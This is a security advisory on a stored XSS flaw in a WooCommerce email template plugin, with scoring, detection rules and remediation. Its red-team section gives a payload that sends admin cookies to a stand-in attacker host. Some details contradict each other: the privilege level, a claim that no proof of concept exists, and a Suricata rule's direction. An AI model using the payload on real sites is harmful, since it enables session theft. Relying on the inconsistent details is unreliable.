CVE-2025-64200

Executive Summary

CVE-2025-64200 is a Stored Cross-Site Scripting (XSS) vulnerability in the VillaTheme Email Template Customizer for WooCommerce WordPress plugin, affecting versions up to and including 1.2.17. This vulnerability allows an authenticated attacker with at least contributor-level privileges to inject arbitrary web scripts into email templates. When an administrator or other user previews or sends an email containing the malicious template, the script executes in their browser session. The CVSS v3.1 base score is 5.9 (Medium), with a vector emphasizing the need for high privileges and user interaction. No public proof-of-concept or exploit code is available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Organizations using this plugin should treat it as a supply chain risk, as the plugin is a direct dependency of the WooCommerce ecosystem. No known malicious packages or backdoored versions have been reported, but the lack of a patch increases the risk of supply chain compromise through unpatched installations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Base Score: 5.9 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): High – Attacker needs contributor-level access or higher.
• User Interaction (UI): Required – Victim must preview or trigger the email template.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited impact on availability.

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can lead to session hijacking, phishing, or defacement within the WordPress admin context.

Deep Dive & Mechanics

The vulnerability exists in the email-template-customizer-for-woo plugin, which allows users to customize WooCommerce transactional emails. The plugin fails to properly sanitize user-supplied input when saving email template content (e.g., subject lines, body HTML, or custom fields). This improper neutralization enables an attacker to inject malicious JavaScript or HTML that is stored in the database.

When an administrator or other user views the email template in the WordPress admin panel (e.g., via the "WooCommerce > Emails" settings or during email preview), the stored payload executes in the context of the victim's browser. The attack flow is:

1. Authentication: Attacker logs in with a role that can edit email templates (e.g., Editor, Shop Manager, or Administrator).
2. Injection: Attacker crafts a malicious payload (e.g., <script>alert('XSS')</script>) and saves it in a template field.
3. Trigger: An administrator or other user navigates to the email template settings or triggers a preview.
4. Execution: The payload executes, potentially stealing cookies, performing actions on behalf of the victim, or redirecting to a malicious site.

The vulnerability is classified as Stored XSS (CWE-79) because the injected script persists in the database and affects all users who view the compromised template.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is presumed to be in the template saving routine. A typical vulnerable pattern in WordPress plugins is:

// Vulnerable code (example)
update_option('woo_email_template_subject', $_POST['email_subject']);

The patched version would sanitize the input:

// Patched code (example)
update_option('woo_email_template_subject', sanitize_text_field($_POST['email_subject']));

Without a vendor patch, users must manually apply input validation and output escaping.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress installation with WooCommerce and the vulnerable plugin (<=1.2.17).
• An account with at least Contributor or Editor privileges.

Steps:

1. Log in to WordPress admin.
2. Navigate to WooCommerce > Emails.
3. Select an email template (e.g., "New Order").
4. In the "Email subject" or "Email heading" field, inject a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the template.
6. Wait for an administrator to preview or send the email.

Expected Result: The administrator's browser executes the script, sending their session cookie to the attacker.

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin logs for unusual template edits.
• Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to /wp-admin/admin-ajax.php or /wp-admin/admin-post.php.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Disable the plugin until a patch is available.
• Restrict user roles: only allow trusted administrators to edit email templates.
• Apply input validation and output escaping via a custom plugin or code snippet.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available; plugin files unchanged)
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains from the WordPress admin panel.
  • Suspicious POST requests to /wp-admin/admin-ajax.php with action=save_template and payloads containing <script> tags.
• Log Entries:
  • WordPress debug log entries showing unexpected JavaScript execution.
  • Web server logs with POST /wp-admin/admin-ajax.php containing XSS patterns.
• Database Indicators:
  • Rows in wp_options or wp_postmeta containing <script> tags in email template fields.

Detection Engineering

YARA Rule

rule CVE_2025_64200_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WooCommerce email templates"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64200"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $template_field = /email_template_customizer_for_woo/i
    condition:
        $xss_payload and $template_field
}

Sigma Rule

title: Stored XSS in WooCommerce Email Template Customizer
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to inject XSS payloads into WooCommerce email templates via the vulnerable plugin.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=save_template'
        cs-request-body|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in email templates (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-64200 Stored XSS in WooCommerce Email Template Customizer";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=save_template"; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-64200;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by VillaTheme.
2. Restrict user roles – Only allow trusted administrators to edit email templates.
3. Apply a virtual patch using a WAF to block XSS payloads in template fields.

Long-Term Fix:

• Monitor the vendor's website for a patched version (>=1.2.18).
• If no patch is forthcoming, consider replacing the plugin with an alternative (e.g., "WooCommerce Email Customizer" or "YayMail").

Workaround (Code Snippet): Add the following to your theme's functions.php to sanitize email template inputs:

add_filter('woocommerce_email_settings', function($settings) {
    foreach ($settings as &$setting) {
        if (isset($setting['id']) && strpos($setting['id'], 'woo_email_template') !== false) {
            add_filter('pre_update_option_' . $setting['id'], function($value) {
                return sanitize_text_field($value);
            });
        }
    }
    return $settings;
});

Valters IT
Securing Digital Ecosystems